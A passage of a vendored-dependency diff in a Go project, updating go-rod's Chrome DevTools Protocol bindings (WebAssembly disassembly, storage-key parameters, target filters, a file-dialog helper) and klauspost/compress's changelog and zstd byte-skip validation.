    693 723   AuditsDeprecationIssueTypeOpenWebDatabaseInsecureContext AuditsDeprecationIssueType = "OpenWebDatabaseInsecureContext"
     724 + 
     725 + // AuditsDeprecationIssueTypeOverflowVisibleOnReplacedElement enum const
     726 + AuditsDeprecationIssueTypeOverflowVisibleOnReplacedElement AuditsDeprecationIssueType = "OverflowVisibleOnReplacedElement"
     727 + 
     728 + // AuditsDeprecationIssueTypePersistentQuotaType enum const
     729 + AuditsDeprecationIssueTypePersistentQuotaType AuditsDeprecationIssueType = "PersistentQuotaType"
    694 730   
    695 731   // AuditsDeprecationIssueTypePictureSourceSrc enum const
    696 732   AuditsDeprecationIssueTypePictureSourceSrc AuditsDeprecationIssueType = "PictureSourceSrc"
    skipped 142 lines
    839 875   
    840 876   // AuditsFederatedAuthRequestIssueReasonClientMetadataInvalidResponse enum const
    841 877   AuditsFederatedAuthRequestIssueReasonClientMetadataInvalidResponse AuditsFederatedAuthRequestIssueReason = "ClientMetadataInvalidResponse"
    842  - 
    843  - // AuditsFederatedAuthRequestIssueReasonClientMetadataMissingPrivacyPolicyURL enum const
    844  - AuditsFederatedAuthRequestIssueReasonClientMetadataMissingPrivacyPolicyURL AuditsFederatedAuthRequestIssueReason = "ClientMetadataMissingPrivacyPolicyUrl"
    845 878   
    846 879   // AuditsFederatedAuthRequestIssueReasonDisabledInSettings enum const
    847 880   AuditsFederatedAuthRequestIssueReasonDisabledInSettings AuditsFederatedAuthRequestIssueReason = "DisabledInSettings"
    skipped 279 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/go-rod/rod/lib/proto/css.go
    skipped 797 lines
    798 798   
    799 799   // CSSKeyframesRules (optional) A list of CSS keyframed animations matching this node.
    800 800   CSSKeyframesRules []*CSSCSSKeyframesRule `json:"cssKeyframesRules,omitempty"`
     801 + 
     802 + // ParentLayoutNodeID (experimental) (optional) Id of the first parent element that does not have display: contents.
     803 + ParentLayoutNodeID DOMNodeID `json:"parentLayoutNodeId,omitempty"`
    801 804  }
    802 805   
    803 806  // CSSGetMediaQueries Returns all media queries parsed by the rendering engine.
    skipped 267 lines
    1071 1074   
    1072 1075   // Supports The resulting CSS Supports rule after modification.
    1073 1076   Supports *CSSCSSSupports `json:"supports"`
     1077 +}
     1078 + 
     1079 +// CSSSetScopeText (experimental) Modifies the expression of a scope at-rule.
     1080 +type CSSSetScopeText struct {
     1081 + 
     1082 + // StyleSheetID ...
     1083 + StyleSheetID CSSStyleSheetID `json:"styleSheetId"`
     1084 + 
     1085 + // Range ...
     1086 + Range *CSSSourceRange `json:"range"`
     1087 + 
     1088 + // Text ...
     1089 + Text string `json:"text"`
     1090 +}
     1091 + 
     1092 +// ProtoReq name
     1093 +func (m CSSSetScopeText) ProtoReq() string { return "CSS.setScopeText" }
     1094 + 
     1095 +// Call the request
     1096 +func (m CSSSetScopeText) Call(c Client) (*CSSSetScopeTextResult, error) {
     1097 + var res CSSSetScopeTextResult
     1098 + return &res, call(m.ProtoReq(), m, &res, c)
     1099 +}
     1100 + 
     1101 +// CSSSetScopeTextResult (experimental) ...
     1102 +type CSSSetScopeTextResult struct {
     1103 + 
     1104 + // Scope The resulting CSS Scope rule after modification.
     1105 + Scope *CSSCSSScope `json:"scope"`
    1074 1106  }
    1075 1107   
    1076 1108  // CSSSetRuleSelector Modifies the rule selector.
    skipped 208 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/go-rod/rod/lib/proto/debugger.go
    skipped 188 lines
    189 189   Type DebuggerBreakLocationType `json:"type,omitempty"`
    190 190  }
    191 191   
     192 +// DebuggerWasmDisassemblyChunk (experimental) ...
     193 +type DebuggerWasmDisassemblyChunk struct {
     194 + 
     195 + // Lines The next chunk of disassembled lines.
     196 + Lines []string `json:"lines"`
     197 + 
     198 + // BytecodeOffsets The bytecode offsets describing the start of each line.
     199 + BytecodeOffsets []int `json:"bytecodeOffsets"`
     200 +}
     201 + 
    192 202  // DebuggerScriptLanguage Enum of possible script languages.
    193 203  type DebuggerScriptLanguage string
    194 204   
    skipped 206 lines
    401 411   
    402 412   // Bytecode (optional) Wasm bytecode.
    403 413   Bytecode []byte `json:"bytecode,omitempty"`
     414 +}
     415 + 
     416 +// DebuggerDisassembleWasmModule (experimental) ...
     417 +type DebuggerDisassembleWasmModule struct {
     418 + 
     419 + // ScriptID Id of the script to disassemble
     420 + ScriptID RuntimeScriptID `json:"scriptId"`
     421 +}
     422 + 
     423 +// ProtoReq name
     424 +func (m DebuggerDisassembleWasmModule) ProtoReq() string { return "Debugger.disassembleWasmModule" }
     425 + 
     426 +// Call the request
     427 +func (m DebuggerDisassembleWasmModule) Call(c Client) (*DebuggerDisassembleWasmModuleResult, error) {
     428 + var res DebuggerDisassembleWasmModuleResult
     429 + return &res, call(m.ProtoReq(), m, &res, c)
     430 +}
     431 + 
     432 +// DebuggerDisassembleWasmModuleResult (experimental) ...
     433 +type DebuggerDisassembleWasmModuleResult struct {
     434 + 
     435 + // StreamID (optional) For large modules, return a stream from which additional chunks of
     436 + // disassembly can be read successively.
     437 + StreamID string `json:"streamId,omitempty"`
     438 + 
     439 + // TotalNumberOfLines The total number of lines in the disassembly text.
     440 + TotalNumberOfLines int `json:"totalNumberOfLines"`
     441 + 
     442 + // FunctionBodyOffsets The offsets of all function bodies, in the format [start1, end1,
     443 + // start2, end2, ...] where all ends are exclusive.
     444 + FunctionBodyOffsets []int `json:"functionBodyOffsets"`
     445 + 
     446 + // Chunk The first chunk of disassembly.
     447 + Chunk *DebuggerWasmDisassemblyChunk `json:"chunk"`
     448 +}
     449 + 
     450 +// DebuggerNextWasmDisassemblyChunk (experimental) Disassemble the next chunk of lines for the module corresponding to the
     451 +// stream. If disassembly is complete, this API will invalidate the streamId
     452 +// and return an empty chunk. Any subsequent calls for the now invalid stream
     453 +// will return errors.
     454 +type DebuggerNextWasmDisassemblyChunk struct {
     455 + 
     456 + // StreamID ...
     457 + StreamID string `json:"streamId"`
     458 +}
     459 + 
     460 +// ProtoReq name
     461 +func (m DebuggerNextWasmDisassemblyChunk) ProtoReq() string {
     462 + return "Debugger.nextWasmDisassemblyChunk"
     463 +}
     464 + 
     465 +// Call the request
     466 +func (m DebuggerNextWasmDisassemblyChunk) Call(c Client) (*DebuggerNextWasmDisassemblyChunkResult, error) {
     467 + var res DebuggerNextWasmDisassemblyChunkResult
     468 + return &res, call(m.ProtoReq(), m, &res, c)
     469 +}
     470 + 
     471 +// DebuggerNextWasmDisassemblyChunkResult (experimental) ...
     472 +type DebuggerNextWasmDisassemblyChunkResult struct {
     473 + 
     474 + // Chunk The next chunk of disassembly.
     475 + Chunk *DebuggerWasmDisassemblyChunk `json:"chunk"`
    404 476  }
    405 477   
    406 478  // DebuggerGetWasmBytecode (deprecated) This command is deprecated. Use getScriptSource instead.
    skipped 831 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/go-rod/rod/lib/proto/definitions.go
    skipped 181 lines
    182 182   "CSS.setContainerQueryTextResult": reflect.TypeOf(CSSSetContainerQueryTextResult{}),
    183 183   "CSS.setSupportsText": reflect.TypeOf(CSSSetSupportsText{}),
    184 184   "CSS.setSupportsTextResult": reflect.TypeOf(CSSSetSupportsTextResult{}),
     185 + "CSS.setScopeText": reflect.TypeOf(CSSSetScopeText{}),
     186 + "CSS.setScopeTextResult": reflect.TypeOf(CSSSetScopeTextResult{}),
    185 187   "CSS.setRuleSelector": reflect.TypeOf(CSSSetRuleSelector{}),
    186 188   "CSS.setRuleSelectorResult": reflect.TypeOf(CSSSetRuleSelectorResult{}),
    187 189   "CSS.setStyleSheetText": reflect.TypeOf(CSSSetStyleSheetText{}),
    skipped 665 lines
    853 855   "Storage.getStorageKeyForFrame": reflect.TypeOf(StorageGetStorageKeyForFrame{}),
    854 856   "Storage.getStorageKeyForFrameResult": reflect.TypeOf(StorageGetStorageKeyForFrameResult{}),
    855 857   "Storage.clearDataForOrigin": reflect.TypeOf(StorageClearDataForOrigin{}),
     858 + "Storage.clearDataForStorageKey": reflect.TypeOf(StorageClearDataForStorageKey{}),
    856 859   "Storage.getCookies": reflect.TypeOf(StorageGetCookies{}),
    857 860   "Storage.getCookiesResult": reflect.TypeOf(StorageGetCookiesResult{}),
    858 861   "Storage.setCookies": reflect.TypeOf(StorageSetCookies{}),
    skipped 3 lines
    862 865   "Storage.overrideQuotaForOrigin": reflect.TypeOf(StorageOverrideQuotaForOrigin{}),
    863 866   "Storage.trackCacheStorageForOrigin": reflect.TypeOf(StorageTrackCacheStorageForOrigin{}),
    864 867   "Storage.trackIndexedDBForOrigin": reflect.TypeOf(StorageTrackIndexedDBForOrigin{}),
     868 + "Storage.trackIndexedDBForStorageKey": reflect.TypeOf(StorageTrackIndexedDBForStorageKey{}),
    865 869   "Storage.untrackCacheStorageForOrigin": reflect.TypeOf(StorageUntrackCacheStorageForOrigin{}),
    866 870   "Storage.untrackIndexedDBForOrigin": reflect.TypeOf(StorageUntrackIndexedDBForOrigin{}),
     871 + "Storage.untrackIndexedDBForStorageKey": reflect.TypeOf(StorageUntrackIndexedDBForStorageKey{}),
    867 872   "Storage.getTrustTokens": reflect.TypeOf(StorageGetTrustTokens{}),
    868 873   "Storage.getTrustTokensResult": reflect.TypeOf(StorageGetTrustTokensResult{}),
    869 874   "Storage.clearTrustTokens": reflect.TypeOf(StorageClearTrustTokens{}),
    skipped 18 lines
    888 893   "SystemInfo.getProcessInfo": reflect.TypeOf(SystemInfoGetProcessInfo{}),
    889 894   "SystemInfo.getProcessInfoResult": reflect.TypeOf(SystemInfoGetProcessInfoResult{}),
    890 895   "Target.TargetInfo": reflect.TypeOf(TargetTargetInfo{}),
     896 + "Target.FilterEntry": reflect.TypeOf(TargetFilterEntry{}),
    891 897   "Target.RemoteLocation": reflect.TypeOf(TargetRemoteLocation{}),
    892 898   "Target.activateTarget": reflect.TypeOf(TargetActivateTarget{}),
    893 899   "Target.attachToTarget": reflect.TypeOf(TargetAttachToTarget{}),
    skipped 120 lines
    1014 1020   "Debugger.Scope": reflect.TypeOf(DebuggerScope{}),
    1015 1021   "Debugger.SearchMatch": reflect.TypeOf(DebuggerSearchMatch{}),
    1016 1022   "Debugger.BreakLocation": reflect.TypeOf(DebuggerBreakLocation{}),
     1023 + "Debugger.WasmDisassemblyChunk": reflect.TypeOf(DebuggerWasmDisassemblyChunk{}),
    1017 1024   "Debugger.DebugSymbols": reflect.TypeOf(DebuggerDebugSymbols{}),
    1018 1025   "Debugger.continueToLocation": reflect.TypeOf(DebuggerContinueToLocation{}),
    1019 1026   "Debugger.disable": reflect.TypeOf(DebuggerDisable{}),
    skipped 5 lines
    1025 1032   "Debugger.getPossibleBreakpointsResult": reflect.TypeOf(DebuggerGetPossibleBreakpointsResult{}),
    1026 1033   "Debugger.getScriptSource": reflect.TypeOf(DebuggerGetScriptSource{}),
    1027 1034   "Debugger.getScriptSourceResult": reflect.TypeOf(DebuggerGetScriptSourceResult{}),
     1035 + "Debugger.disassembleWasmModule": reflect.TypeOf(DebuggerDisassembleWasmModule{}),
     1036 + "Debugger.disassembleWasmModuleResult": reflect.TypeOf(DebuggerDisassembleWasmModuleResult{}),
     1037 + "Debugger.nextWasmDisassemblyChunk": reflect.TypeOf(DebuggerNextWasmDisassemblyChunk{}),
     1038 + "Debugger.nextWasmDisassemblyChunkResult": reflect.TypeOf(DebuggerNextWasmDisassemblyChunkResult{}),
    1028 1039   "Debugger.getWasmBytecode": reflect.TypeOf(DebuggerGetWasmBytecode{}),
    1029 1040   "Debugger.getWasmBytecodeResult": reflect.TypeOf(DebuggerGetWasmBytecodeResult{}),
    1030 1041   "Debugger.getStackTrace": reflect.TypeOf(DebuggerGetStackTrace{}),
    skipped 150 lines
  • ■ ■ ■ ■ ■
    vendor/github.com/go-rod/rod/lib/proto/indexed_db.go
    skipped 148 lines
    149 149  // IndexedDBClearObjectStore Clears all entries from an object store.
    150 150  type IndexedDBClearObjectStore struct {
    151 151   
    152  - // SecurityOrigin Security origin.
    153  - SecurityOrigin string `json:"securityOrigin"`
     152 + // SecurityOrigin (optional) At least and at most one of securityOrigin, storageKey must be specified.
     153 + // Security origin.
     154 + SecurityOrigin string `json:"securityOrigin,omitempty"`
     155 + 
     156 + // StorageKey (optional) Storage key.
     157 + StorageKey string `json:"storageKey,omitempty"`
    154 158   
    155 159   // DatabaseName Database name.
    156 160   DatabaseName string `json:"databaseName"`
    skipped 13 lines
    170 174  // IndexedDBDeleteDatabase Deletes a database.
    171 175  type IndexedDBDeleteDatabase struct {
    172 176   
    173  - // SecurityOrigin Security origin.
    174  - SecurityOrigin string `json:"securityOrigin"`
     177 + // SecurityOrigin (optional) At least and at most one of securityOrigin, storageKey must be specified.
     178 + // Security origin.
     179 + SecurityOrigin string `json:"securityOrigin,omitempty"`
     180 + 
     181 + // StorageKey (optional) Storage key.
     182 + StorageKey string `json:"storageKey,omitempty"`
    175 183   
    176 184   // DatabaseName Database name.
    177 185   DatabaseName string `json:"databaseName"`
    skipped 10 lines
    188 196  // IndexedDBDeleteObjectStoreEntries Delete a range of entries from an object store
    189 197  type IndexedDBDeleteObjectStoreEntries struct {
    190 198   
    191  - // SecurityOrigin ...
    192  - SecurityOrigin string `json:"securityOrigin"`
     199 + // SecurityOrigin (optional) At least and at most one of securityOrigin, storageKey must be specified.
     200 + // Security origin.
     201 + SecurityOrigin string `json:"securityOrigin,omitempty"`
     202 + 
     203 + // StorageKey (optional) Storage key.
     204 + StorageKey string `json:"storageKey,omitempty"`
    193 205   
    194 206   // DatabaseName ...
    195 207   DatabaseName string `json:"databaseName"`
    skipped 42 lines
    238 250  // IndexedDBRequestData Requests data from object store or index.
    239 251  type IndexedDBRequestData struct {
    240 252   
    241  - // SecurityOrigin Security origin.
    242  - SecurityOrigin string `json:"securityOrigin"`
     253 + // SecurityOrigin (optional) At least and at most one of securityOrigin, storageKey must be specified.
     254 + // Security origin.
     255 + SecurityOrigin string `json:"securityOrigin,omitempty"`
     256 + 
     257 + // StorageKey (optional) Storage key.
     258 + StorageKey string `json:"storageKey,omitempty"`
    243 259   
    244 260   // DatabaseName Database name.
    245 261   DatabaseName string `json:"databaseName"`
    skipped 36 lines
    282 298  // IndexedDBGetMetadata Gets metadata of an object store
    283 299  type IndexedDBGetMetadata struct {
    284 300   
    285  - // SecurityOrigin Security origin.
    286  - SecurityOrigin string `json:"securityOrigin"`
     301 + // SecurityOrigin (optional) At least and at most one of securityOrigin, storageKey must be specified.
     302 + // Security origin.
     303 + SecurityOrigin string `json:"securityOrigin,omitempty"`
     304 + 
     305 + // StorageKey (optional) Storage key.
     306 + StorageKey string `json:"storageKey,omitempty"`
    287 307   
    288 308   // DatabaseName Database name.
    289 309   DatabaseName string `json:"databaseName"`
    skipped 26 lines
    316 336  // IndexedDBRequestDatabase Requests database with given name in given frame.
    317 337  type IndexedDBRequestDatabase struct {
    318 338   
    319  - // SecurityOrigin Security origin.
    320  - SecurityOrigin string `json:"securityOrigin"`
     339 + // SecurityOrigin (optional) At least and at most one of securityOrigin, storageKey must be specified.
     340 + // Security origin.
     341 + SecurityOrigin string `json:"securityOrigin,omitempty"`
     342 + 
     343 + // StorageKey (optional) Storage key.
     344 + StorageKey string `json:"storageKey,omitempty"`
    321 345   
    322 346   // DatabaseName Database name.
    323 347   DatabaseName string `json:"databaseName"`
    skipped 18 lines
    342 366  // IndexedDBRequestDatabaseNames Requests database names for given security origin.
    343 367  type IndexedDBRequestDatabaseNames struct {
    344 368   
    345  - // SecurityOrigin Security origin.
    346  - SecurityOrigin string `json:"securityOrigin"`
     369 + // SecurityOrigin (optional) At least and at most one of securityOrigin, storageKey must be specified.
     370 + // Security origin.
     371 + SecurityOrigin string `json:"securityOrigin,omitempty"`
     372 + 
     373 + // StorageKey (optional) Storage key.
     374 + StorageKey string `json:"storageKey,omitempty"`
    347 375  }
    348 376   
    349 377  // ProtoReq name
    skipped 15 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/go-rod/rod/lib/proto/network.go
    skipped 45 lines
    46 46   // NetworkResourceTypeFetch enum const
    47 47   NetworkResourceTypeFetch NetworkResourceType = "Fetch"
    48 48   
     49 + // NetworkResourceTypePrefetch enum const
     50 + NetworkResourceTypePrefetch NetworkResourceType = "Prefetch"
     51 + 
    49 52   // NetworkResourceTypeEventSource enum const
    50 53   NetworkResourceTypeEventSource NetworkResourceType = "EventSource"
    51 54   
    skipped 386 lines
    438 441   
    439 442   // CertificateTransparencyCompliance Whether the request complied with Certificate Transparency policy
    440 443   CertificateTransparencyCompliance NetworkCertificateTransparencyCompliance `json:"certificateTransparencyCompliance"`
     444 + 
     445 + // ServerSignatureAlgorithm (optional) The signature algorithm used by the server in the TLS server signature,
     446 + // represented as a TLS SignatureScheme code point. Omitted if not
     447 + // applicable or not known.
     448 + ServerSignatureAlgorithm *int `json:"serverSignatureAlgorithm,omitempty"`
     449 + 
     450 + // EncryptedClientHello Whether the connection used Encrypted ClientHello
     451 + EncryptedClientHello bool `json:"encryptedClientHello"`
    441 452  }
    442 453   
    443 454  // NetworkCertificateTransparencyCompliance Whether the request complied with Certificate Transparency policy.
    skipped 2509 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/go-rod/rod/lib/proto/page.go
    skipped 301 lines
    302 302   // PagePermissionsPolicyFeatureSharedAutofill enum const
    303 303   PagePermissionsPolicyFeatureSharedAutofill PagePermissionsPolicyFeature = "shared-autofill"
    304 304   
     305 + // PagePermissionsPolicyFeatureSharedStorage enum const
     306 + PagePermissionsPolicyFeatureSharedStorage PagePermissionsPolicyFeature = "shared-storage"
     307 + 
    305 308   // PagePermissionsPolicyFeatureStorageAccessAPI enum const
    306 309   PagePermissionsPolicyFeatureStorageAccessAPI PagePermissionsPolicyFeature = "storage-access-api"
    307 310   
    skipped 2 lines
    310 313   
    311 314   // PagePermissionsPolicyFeatureTrustTokenRedemption enum const
    312 315   PagePermissionsPolicyFeatureTrustTokenRedemption PagePermissionsPolicyFeature = "trust-token-redemption"
     316 + 
     317 + // PagePermissionsPolicyFeatureUnload enum const
     318 + PagePermissionsPolicyFeatureUnload PagePermissionsPolicyFeature = "unload"
    313 319   
    314 320   // PagePermissionsPolicyFeatureUsb enum const
    315 321   PagePermissionsPolicyFeatureUsb PagePermissionsPolicyFeature = "usb"
    skipped 1138 lines
    1454 1460   
    1455 1461   // PagePrerenderFinalStatusEmbedderTriggeredAndDestroyed enum const
    1456 1462   PagePrerenderFinalStatusEmbedderTriggeredAndDestroyed PagePrerenderFinalStatus = "EmbedderTriggeredAndDestroyed"
     1463 + 
     1464 + // PagePrerenderFinalStatusMemoryLimitExceeded enum const
     1465 + PagePrerenderFinalStatusMemoryLimitExceeded PagePrerenderFinalStatus = "MemoryLimitExceeded"
     1466 + 
     1467 + // PagePrerenderFinalStatusFailToGetMemoryUsage enum const
     1468 + PagePrerenderFinalStatusFailToGetMemoryUsage PagePrerenderFinalStatus = "FailToGetMemoryUsage"
    1457 1469  )
    1458 1470   
    1459 1471  // PageAddScriptToEvaluateOnLoad (deprecated) (experimental) Deprecated, please use addScriptToEvaluateOnNewDocument instead.
    skipped 1731 lines
    3191 3203   return "Page.backForwardCacheNotUsed"
    3192 3204  }
    3193 3205   
    3194  -// PagePrerenderAttemptCompleted Fired when a prerender attempt is completed.
     3206 +// PagePrerenderAttemptCompleted (experimental) Fired when a prerender attempt is completed.
    3195 3207  type PagePrerenderAttemptCompleted struct {
    3196 3208   
    3197 3209   // InitiatingFrameID The frame id of the frame initiating prerendering.
    skipped 4 lines
    3202 3214   
    3203 3215   // FinalStatus ...
    3204 3216   FinalStatus PagePrerenderFinalStatus `json:"finalStatus"`
     3217 + 
     3218 + // ReasonDetails (optional) This is used to give users more information about the cancellation details,
     3219 + // and this will be formatted for display.
     3220 + ReasonDetails string `json:"reasonDetails,omitempty"`
    3205 3221  }
    3206 3222   
    3207 3223  // ProtoEvent name
    skipped 99 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/go-rod/rod/lib/proto/storage.go
    skipped 183 lines
    184 184   return call(m.ProtoReq(), m, nil, c)
    185 185  }
    186 186   
     187 +// StorageClearDataForStorageKey Clears storage for storage key.
     188 +type StorageClearDataForStorageKey struct {
     189 + 
     190 + // StorageKey Storage key.
     191 + StorageKey string `json:"storageKey"`
     192 + 
     193 + // StorageTypes Comma separated list of StorageType to clear.
     194 + StorageTypes string `json:"storageTypes"`
     195 +}
     196 + 
     197 +// ProtoReq name
     198 +func (m StorageClearDataForStorageKey) ProtoReq() string { return "Storage.clearDataForStorageKey" }
     199 + 
     200 +// Call sends the request
     201 +func (m StorageClearDataForStorageKey) Call(c Client) error {
     202 + return call(m.ProtoReq(), m, nil, c)
     203 +}
     204 + 
    187 205  // StorageGetCookies Returns all browser cookies.
    188 206  type StorageGetCookies struct {
    189 207   
    skipped 138 lines
    328 346   return call(m.ProtoReq(), m, nil, c)
    329 347  }
    330 348   
     349 +// StorageTrackIndexedDBForStorageKey Registers storage key to be notified when an update occurs to its IndexedDB.
     350 +type StorageTrackIndexedDBForStorageKey struct {
     351 + 
     352 + // StorageKey Storage key.
     353 + StorageKey string `json:"storageKey"`
     354 +}
     355 + 
     356 +// ProtoReq name
     357 +func (m StorageTrackIndexedDBForStorageKey) ProtoReq() string {
     358 + return "Storage.trackIndexedDBForStorageKey"
     359 +}
     360 + 
     361 +// Call sends the request
     362 +func (m StorageTrackIndexedDBForStorageKey) Call(c Client) error {
     363 + return call(m.ProtoReq(), m, nil, c)
     364 +}
     365 + 
    331 366  // StorageUntrackCacheStorageForOrigin Unregisters origin from receiving notifications for cache storage.
    332 367  type StorageUntrackCacheStorageForOrigin struct {
    333 368   
    skipped 25 lines
    359 394   
    360 395  // Call sends the request
    361 396  func (m StorageUntrackIndexedDBForOrigin) Call(c Client) error {
     397 + return call(m.ProtoReq(), m, nil, c)
     398 +}
     399 + 
     400 +// StorageUntrackIndexedDBForStorageKey Unregisters storage key from receiving notifications for IndexedDB.
     401 +type StorageUntrackIndexedDBForStorageKey struct {
     402 + 
     403 + // StorageKey Storage key.
     404 + StorageKey string `json:"storageKey"`
     405 +}
     406 + 
     407 +// ProtoReq name
     408 +func (m StorageUntrackIndexedDBForStorageKey) ProtoReq() string {
     409 + return "Storage.untrackIndexedDBForStorageKey"
     410 +}
     411 + 
     412 +// Call sends the request
     413 +func (m StorageUntrackIndexedDBForStorageKey) Call(c Client) error {
    362 414   return call(m.ProtoReq(), m, nil, c)
    363 415  }
    364 416   
    skipped 116 lines
    481 533   // Origin Origin to update.
    482 534   Origin string `json:"origin"`
    483 535   
     536 + // StorageKey Storage key to update.
     537 + StorageKey string `json:"storageKey"`
     538 + 
    484 539   // DatabaseName Database to update.
    485 540   DatabaseName string `json:"databaseName"`
    486 541   
    skipped 11 lines
    498 553   
    499 554   // Origin Origin to update.
    500 555   Origin string `json:"origin"`
     556 + 
     557 + // StorageKey Storage key to update.
     558 + StorageKey string `json:"storageKey"`
    501 559  }
    502 560   
    503 561  // ProtoEvent name
    skipped 25 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/go-rod/rod/lib/proto/target.go
    skipped 69 lines
    70 70   BrowserContextID BrowserBrowserContextID `json:"browserContextId,omitempty"`
    71 71  }
    72 72   
     73 +// TargetFilterEntry (experimental) A filter used by target query/discovery/auto-attach operations.
     74 +type TargetFilterEntry struct {
     75 + 
     76 + // Exclude (optional) If set, causes exclusion of mathcing targets from the list.
     77 + Exclude bool `json:"exclude,omitempty"`
     78 + 
     79 + // Type (optional) If not present, matches any type.
     80 + Type string `json:"type,omitempty"`
     81 +}
     82 + 
     83 +// TargetTargetFilter (experimental) The entries in TargetFilter are matched sequentially against targets and
     84 +// the first entry that matches determines if the target is included or not,
     85 +// depending on the value of `exclude` field in the entry.
     86 +// If filter is not specified, the one assumed is
     87 +// [{type: "browser", exclude: true}, {type: "tab", exclude: true}, {}]
     88 +// (i.e. include everything but `browser` and `tab`).
     89 +type TargetTargetFilter []*TargetFilterEntry
     90 + 
    73 91  // TargetRemoteLocation (experimental) ...
    74 92  type TargetRemoteLocation struct {
    75 93   
    skipped 271 lines
    347 365   
    348 366  // TargetGetTargets Retrieves a list of available targets.
    349 367  type TargetGetTargets struct {
     368 + 
     369 + // Filter (experimental) (optional) Only targets matching filter will be reported. If filter is not specified
     370 + // and target discovery is currently enabled, a filter used for target discovery
     371 + // is used for consistency.
     372 + Filter TargetTargetFilter `json:"filter,omitempty"`
    350 373  }
    351 374   
    352 375  // ProtoReq name
    skipped 53 lines
    406 429   // We plan to make this the default, deprecate non-flattened mode,
    407 430   // and eventually retire it. See crbug.com/991325.
    408 431   Flatten bool `json:"flatten,omitempty"`
     432 + 
     433 + // Filter (experimental) (optional) Only targets matching filter will be attached.
     434 + Filter TargetTargetFilter `json:"filter,omitempty"`
    409 435  }
    410 436   
    411 437  // ProtoReq name
    skipped 17 lines
    429 455   // WaitForDebuggerOnStart Whether to pause new targets when attaching to them. Use `Runtime.runIfWaitingForDebugger`
    430 456   // to run paused targets.
    431 457   WaitForDebuggerOnStart bool `json:"waitForDebuggerOnStart"`
     458 + 
     459 + // Filter (experimental) (optional) Only targets matching filter will be attached.
     460 + Filter TargetTargetFilter `json:"filter,omitempty"`
    432 461  }
    433 462   
    434 463  // ProtoReq name
    skipped 10 lines
    445 474   
    446 475   // Discover Whether to discover available targets.
    447 476   Discover bool `json:"discover"`
     477 + 
     478 + // Filter (experimental) (optional) Only targets matching filter will be attached. If `discover` is false,
     479 + // `filter` must be omitted or empty.
     480 + Filter TargetTargetFilter `json:"filter,omitempty"`
    448 481  }
    449 482   
    450 483  // ProtoReq name
    skipped 131 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/go-rod/rod/lib/utils/utils.go
    skipped 102 lines
    103 103   return os.MkdirAll(path, 0775)
    104 104  }
    105 105   
     106 +// AbsolutePaths returns absolute paths of files in current working directory
     107 +func AbsolutePaths(paths []string) []string {
     108 + absPaths := []string{}
     109 + for _, p := range paths {
     110 + absPath, err := filepath.Abs(p)
     111 + E(err)
     112 + absPaths = append(absPaths, absPath)
     113 + }
     114 + return absPaths
     115 +}
     116 + 
    106 117  // OutputFile auto creates file if not exists, it will try to detect the data type and
    107 118  // auto output binary, string or json
    108 119  func OutputFile(p string, data interface{}) error {
    skipped 235 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/go-rod/rod/must.go
    skipped 340 lines
    341 341   }
    342 342  }
    343 343   
     344 +// MustHandleFileDialog is similar to Page.HandleFileDialog
     345 +func (p *Page) MustHandleFileDialog() func(...string) {
     346 + setFiles, err := p.HandleFileDialog()
     347 + p.e(err)
     348 + return func(paths ...string) {
     349 + p.e(setFiles(paths))
     350 + }
     351 +}
     352 + 
    344 353  // MustScreenshot is similar to Screenshot.
    345 354  // If the toFile is "", it Page.will save output to "tmp/screenshots" folder, time as the file name.
    346 355  func (p *Page) MustScreenshot(toFile ...string) []byte {
    skipped 737 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/go-rod/rod/page.go
    skipped 353 lines
    354 354   }
    355 355  }
    356 356   
     357 +// HandleFileDialog return a functions that waits for the next file chooser dialog pops up and returns the element
     358 +// for the event.
     359 +func (p *Page) HandleFileDialog() (func([]string) error, error) {
     360 + err := proto.PageSetInterceptFileChooserDialog{Enabled: true}.Call(p)
     361 + if err != nil {
     362 + return nil, err
     363 + }
     364 + 
     365 + var e proto.PageFileChooserOpened
     366 + w := p.WaitEvent(&e)
     367 + 
     368 + return func(paths []string) error {
     369 + w()
     370 + 
     371 + err := proto.PageSetInterceptFileChooserDialog{Enabled: false}.Call(p)
     372 + if err != nil {
     373 + return err
     374 + }
     375 + 
     376 + return proto.DOMSetFileInputFiles{
     377 + Files: utils.AbsolutePaths(paths),
     378 + BackendNodeID: e.BackendNodeID,
     379 + }.Call(p)
     380 + }, nil
     381 +}
     382 + 
    357 383  // Screenshot captures the screenshot of current page.
    358 384  func (p *Page) Screenshot(fullpage bool, req *proto.PageCaptureScreenshot) ([]byte, error) {
    359 385   if req == nil {
    skipped 401 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/klauspost/compress/README.md
    skipped 16 lines
    17 17  
    18 18  # changelog
    19 19  
     20 +* July 13, 2022 (v1.15.8)
     21 +
     22 + * gzip: fix stack exhaustion bug in Reader.Read https://github.com/klauspost/compress/pull/641
     23 + * s2: Add Index header trim/restore https://github.com/klauspost/compress/pull/638
     24 + * zstd: Optimize seqdeq amd64 asm by @greatroar in https://github.com/klauspost/compress/pull/636
     25 + * zstd: Improve decoder memcopy https://github.com/klauspost/compress/pull/637
     26 + * huff0: Pass a single bitReader pointer to asm by @greatroar in https://github.com/klauspost/compress/pull/634
     27 + * zstd: Branchless getBits for amd64 w/o BMI2 by @greatroar in https://github.com/klauspost/compress/pull/640
     28 + * gzhttp: Remove header before writing https://github.com/klauspost/compress/pull/639
     29 +
    20 30  * June 29, 2022 (v1.15.7)
    21 31  
    22 32   * s2: Fix absolute forward seeks https://github.com/klauspost/compress/pull/633
    skipped 529 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/klauspost/compress/zstd/bytebuf.go
    skipped 22 lines
    23 23   readByte() (byte, error)
    24 24   
    25 25   // Skip n bytes.
    26  - skipN(n int) error
     26 + skipN(n int64) error
    27 27  }
    28 28   
    29 29  // in-memory buffer
    skipped 32 lines
    62 62   return r, nil
    63 63  }
    64 64   
    65  -func (b *byteBuf) skipN(n int) error {
     65 +func (b *byteBuf) skipN(n int64) error {
    66 66   bb := *b
    67  - if len(bb) < n {
     67 + if n < 0 {
     68 + return fmt.Errorf("negative skip (%d) requested", n)
     69 + }
     70 + if int64(len(bb)) < n {
